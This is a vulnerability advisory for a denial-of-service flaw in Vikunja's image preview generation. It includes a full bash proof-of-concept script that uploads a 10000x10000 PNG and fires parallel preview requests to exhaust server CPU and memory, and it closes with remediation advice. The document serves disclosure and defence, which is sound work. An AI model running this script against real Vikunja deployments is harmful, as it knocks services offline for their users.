CVE-2026-33474

## Summary - Vulnerability: Unbounded image decoding and resizing during preview generation lets an attacker exhaust CPU and memory with highly compressed but extremely large-dimension images. - Affected code: - Decoding without bounds: [task_attachment.go:GetPreview](../../tree/main/pkg/models/task_attachment.go#L219-L229) - Resizing path: [resizeImage](../../tree/main/pkg/models/task_attachment.go#L293-L304) - Endpoint invoking preview: [GetTaskAttachment](../../tree/main/pkg/routes/api/v1/task_attachment.go#L195-L203) - Impact: First preview generation per attachment can allocate large memory and spend significant CPU; multiple attachments or concurrent requests can degrade or crash the service. - CVSS v3.1: 7.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H) ## Preconditions - API running locally (`http://localhost:8080`). - Task attachments enabled: `task_attachments_enabled=true` in [Info](../../tree/main/pkg/routes/api/v1/info.go#L82-L160). - Any authenticated user with write access to a task. ## How It Works - Preview generation decodes the full image via `image.Decode` and resizes to a target width. There are no guards on width/height or total pixels. A 10,000×10,000 PNG (~284 KB on disk) expands to ~100M pixels in memory during decode and triggers heavy CPU work in resize. - The first preview per attachment and size performs the heavy work; later requests are served from cache [keyvalue.Remember](../../tree/main/pkg/models/task_attachment.go#L220-L244). ## Run The POC - Script: ```sh #!/usr/bin/env bash set -euo pipefail BASE_URL="${BASE_URL:-http://localhost:8080}" USERNAME="${USERNAME:-dosuser}" EMAIL="${EMAIL:-dosuser@example.com}" PASSWORD="${PASSWORD:-StrongPass123!}" PROJECT_TITLE="${PROJECT_TITLE:-poc-dos-preview}" TASK_TITLE="${TASK_TITLE:-DoS preview test}" OUT_DIR="${OUT_DIR:-/tmp/vikunja-poc-dos}" mkdir -p "$OUT_DIR" echo "[+] Checking instance info" curl -sS "$BASE_URL/api/v1/info" | tee "$OUT_DIR/info.json" >/dev/null if ! grep -q '"task_attachments_enabled":true' "$OUT_DIR/info.json"; then echo "[!] Task attachments disabled" exit 1 fi echo "[+] Registering user (may already exist)" curl -sS -X POST "$BASE_URL/api/v1/register" \ -H 'Content-Type: application/json' \ -d '{"username":"'"$USERNAME"'","email":"'"$EMAIL"'","password":"'"$PASSWORD"'","language":"en"}' \ | tee "$OUT_DIR/register.json" >/dev/null || true echo "[+] Logging in" curl -sS -X POST "$BASE_URL/api/v1/login" \ -H 'Content-Type: application/json' \ -d '{"username":"'"$USERNAME"'","password":"'"$PASSWORD"'"}' \ | tee "$OUT_DIR/login.json" >/dev/null TOKEN="$(sed -n 's/.*"token"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' "$OUT_DIR/login.json")" if [ -z "$TOKEN" ]; then echo "[!] Failed to get token" exit 1 fi echo "[+] Creating project" curl -sS -X PUT "$BASE_URL/api/v1/projects" \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $TOKEN" \ -d '{"title":"'"$PROJECT_TITLE"'"}' \ | tee "$OUT_DIR/project.json" >/dev/null PROJECT_ID="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["id"])' "$OUT_DIR/project.json")" if [ -z "$PROJECT_ID" ]; then echo "[!] Failed to get project id" exit 1 fi echo "[+] Creating task" curl -sS -X PUT "$BASE_URL/api/v1/projects/$PROJECT_ID/tasks" \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $TOKEN" \ -d '{"title":"'"$TASK_TITLE"'"}' \ | tee "$OUT_DIR/task.json" >/dev/null TASK_ID="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["id"])' "$OUT_DIR/task.json")" if [ -z "$TASK_ID" ]; then echo "[!] Failed to get task id" exit 1 fi echo "[+] Generating 10000x10000 PNG payload" python3 - <<'PY' from PIL import Image img = Image.new('RGB', (10000,10000), color=(0,0,0)) img.save('/tmp/vikunja-poc-dos/huge.png', optimize=True) PY file "$OUT_DIR/huge.png" || true ls -lh "$OUT_DIR/huge.png" || true echo "[+] Uploading attachment" curl -sS -X PUT "$BASE_URL/api/v1/tasks/$TASK_ID/attachments" \ -H "Authorization: Bearer $TOKEN" \ -F "files=@$OUT_DIR/huge.png" \ | tee "$OUT_DIR/attach.json" >/dev/null ATTACHMENT_ID="$(python3 -c 'import json,sys; d=json.load(open(sys.argv[1])); print(d["success"][0]["id"])' "$OUT_DIR/attach.json")" if [ -z "$ATTACHMENT_ID" ]; then echo "[!] Failed to get attachment id" exit 1 fi echo "[+] Requesting preview (xl)" /usr/bin/time -l curl -sS -o "$OUT_DIR/preview_xl.png" \ "$BASE_URL/api/v1/tasks/$TASK_ID/attachments/$ATTACHMENT_ID?preview_size=xl" \ -H "Authorization: Bearer $TOKEN" 2> "$OUT_DIR/time_xl.txt" du -h "$OUT_DIR/preview_xl.png" || true file "$OUT_DIR/preview_xl.png" || true echo "[+] Timing and memory (from /usr/bin/time):" cat "$OUT_DIR/time_xl.txt" || true echo "[+] Parallel preview requests (cache warm) x10" seq 1 10 | xargs -P 5 -I{} sh -c "curl -s -w '%{time_total}\n' -o /dev/null \ '$BASE_URL/api/v1/tasks/$TASK_ID/attachments/$ATTACHMENT_ID?preview_size=xl' \ -H 'Authorization: Bearer $TOKEN'" | tee "$OUT_DIR/parallel_times.txt" >/dev/null echo "[+] Done. Outputs in $OUT_DIR" ``` - Uses `curl` and `python3` (Pillow) to generate a 10k×10k PNG, upload it, and request an xl preview while recording timing and memory metrics. ### Steps 1. Ensure the API is running on `http://localhost:8080`. 2. Execute: ``` bash pocs/image-preview-dos/poc.sh ``` 3. Outputs of interest: - `/tmp/vikunja-poc-dos/time_xl.txt`: `/usr/bin/time -l` timing and memory for the preview request. - `/tmp/vikunja-poc-dos/parallel_times.txt`: 10 parallel preview times with cache warmed. - `/tmp/vikunja-poc-dos/preview_xl.png`: Generated 800×800 preview. ### Environment Overrides - BASE_URL: API base (default `http://localhost:8080`) - USERNAME, EMAIL, PASSWORD: credentials for the test user - PROJECT_TITLE, TASK_TITLE: names for test artifacts - OUT_DIR: output directory (default `/tmp/vikunja-poc-dos`) ## Expected Results - First preview request shows higher latency and memory footprint, demonstrating server-side decode and resize of a 10k×10k image. - Subsequent requests are faster due to caching. - Parallel requests across multiple unique attachments reproduce the heavy work and can degrade the API. ## Remediation - Enforce bounds prior to decode: - Reject images exceeding max width/height (e.g., 8000×8000) or max total pixels (e.g., 20M). - Fail early by reading headers to extract dimensions before full decode. - Add per-user and per-attachment rate limiting for preview generation. - Pre-generate previews asynchronously with throttling and backpressure. - Keep caching, but consider configurable cache eviction strategy to avoid repeated heavy work. ## Notes - This POC uses a solid-color PNG to produce large dimensions with small file size. Other formats and images with extreme dimensions can be substituted.

Vikunja Affected by DoS via Image Preview Generation in code.vikunja.io/api. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: code.vikunja.io/api from v1.0.0-rc0 before v2.2.0.